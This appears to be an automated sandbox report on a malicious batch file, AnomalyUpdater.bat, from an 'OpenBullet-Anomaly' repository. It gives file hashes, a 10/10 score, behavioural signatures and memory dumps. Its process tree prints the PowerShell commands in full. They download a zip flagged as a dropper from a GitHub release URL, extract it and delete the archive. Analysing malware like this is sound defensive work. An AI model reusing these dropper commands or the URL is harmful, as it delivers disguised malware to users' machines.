8e903c28cdbed795408dcec8e83c833aaaa00089b89c9a69fbc65cf4e8ed4d92

General

Target

OpenBullet-Anomaly-main/AnomalyUpdater.bat
Size

1KB
MD5

41a80a691d9f594e851c23ed0b480aff
SHA1

16418323182ec7cff740134cf65857dcfb023eb1
SHA256

93275ad49c569fb8daef227bd5b2a8fd450e69a02702b0d2efa3f1d1d6e4f4b5
SHA512

41b8db5a4ba8c93c9b164161b681f4329c6344a0644cf136c87c4493e094ba6d35141e5510ad76d5336b9cd006c8414a0fb75f94bab050acec08591697f5dad9

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/OpenBulletAnomaly/OpenBullet-Anomaly/releases/download/1.4.5/OpenBullet-v1.4.5.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	4848	powershell.exe
11	4848	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4848	powershell.exe
4848	powershell.exe
2084	powershell.exe
2084	powershell.exe
4684	powershell.exe
4684	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4848	powershell.exe
Token: SeDebugPrivilege	2084	powershell.exe
Token: SeDebugPrivilege	4684	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4780 wrote to memory of 4848	4780	cmd.exe	91
PID 4780 wrote to memory of 4848	4780	cmd.exe	91
PID 4780 wrote to memory of 2084	4780	cmd.exe	95
PID 4780 wrote to memory of 2084	4780	cmd.exe	95
PID 4780 wrote to memory of 4684	4780	cmd.exe	96
PID 4780 wrote to memory of 4684	4780	cmd.exe	96

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\OpenBullet-Anomaly-main\AnomalyUpdater.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell (New-Object System.Net.WebClient).Downloadfile('https://github.com/OpenBulletAnomaly/OpenBullet-Anomaly/releases/download/1.4.5/OpenBullet-v1.4.5.zip', 'OpenBullet-v1.4.5.zip')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe Expand-Archive -Path OpenBullet-v1.4.5.zip -DestinationPath OpenBullet-1.4.5 -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Remove-Item -Path OpenBullet-v1.4.5.zip -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4684

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8d9203687bea06f8b8f3fce37b736721

SHA1
a120c7b4d2176b2c0aa77de333c895460b8b8ecf

SHA256
5dd4d2136f9a1360718f4a7fc3b04975698888311ebb3904d33654add9f35427

SHA512
2c47e8bb644616c42a4db97496cbc2ddc49114a12f4b020a5c74d8494da27eef812b485ee8786233b34067c01bd576630bd702182f1ef53d4b275e61f18f8ea7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0f6a3762a04bbb03336fb66a040afb97

SHA1
0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

SHA256
36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

SHA512
cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

Download Submit
C:\Users\Admin\AppData\Local\Temp\OpenBullet-Anomaly-main\OpenBullet-v1.4.5.zip

Filesize
25.1MB

MD5
6d0250817d4bbf90e0848fcbf614facd

SHA1
3f208b85f0af1bb57b8f0eea0d791b560194fc4e

SHA256
7906a5cace1786fda3f361214eec9b43122d0eaeaf58aa1f47db60d04414a3f0

SHA512
ab08371a2037454d80641885df8d8e48ad1d7c015bdc111ed5f9ec56a019713e7725aa24d02b6d0b6ed80d365924f041eb07c99b1a3c0a63cf82eb430bf3f853

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jjclkqhe.b1n.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2084-148-0x00007FF9C7C00000-0x00007FF9C86C1000-memory.dmp

Filesize
10.8MB

Download
memory/2084-32-0x0000023A6C350000-0x0000023A6C362000-memory.dmp

Filesize
72KB

Download
memory/2084-18-0x00007FF9C7C00000-0x00007FF9C86C1000-memory.dmp

Filesize
10.8MB

Download
memory/2084-19-0x0000023A6B8F0000-0x0000023A6B900000-memory.dmp

Filesize
64KB

Download
memory/2084-20-0x0000023A6B8F0000-0x0000023A6B900000-memory.dmp

Filesize
64KB

Download
memory/2084-33-0x0000023A6BB00000-0x0000023A6BB0A000-memory.dmp

Filesize
40KB

Download
memory/2084-31-0x0000023A6B8F0000-0x0000023A6B900000-memory.dmp

Filesize
64KB

Download
memory/4684-149-0x00007FF9C7C00000-0x00007FF9C86C1000-memory.dmp

Filesize
10.8MB

Download
memory/4684-150-0x00000159B3F10000-0x00000159B3F20000-memory.dmp

Filesize
64KB

Download
memory/4684-160-0x00000159B3F10000-0x00000159B3F20000-memory.dmp

Filesize
64KB

Download
memory/4684-163-0x00007FF9C7C00000-0x00007FF9C86C1000-memory.dmp

Filesize
10.8MB

Download
memory/4848-16-0x00007FF9C7C00000-0x00007FF9C86C1000-memory.dmp

Filesize
10.8MB

Download
memory/4848-12-0x0000018F245A0000-0x0000018F245B0000-memory.dmp

Filesize
64KB

Download
memory/4848-11-0x0000018F245A0000-0x0000018F245B0000-memory.dmp

Filesize
64KB

Download
memory/4848-0-0x0000018F244E0000-0x0000018F24502000-memory.dmp

Filesize
136KB

Download
memory/4848-10-0x00007FF9C7C00000-0x00007FF9C86C1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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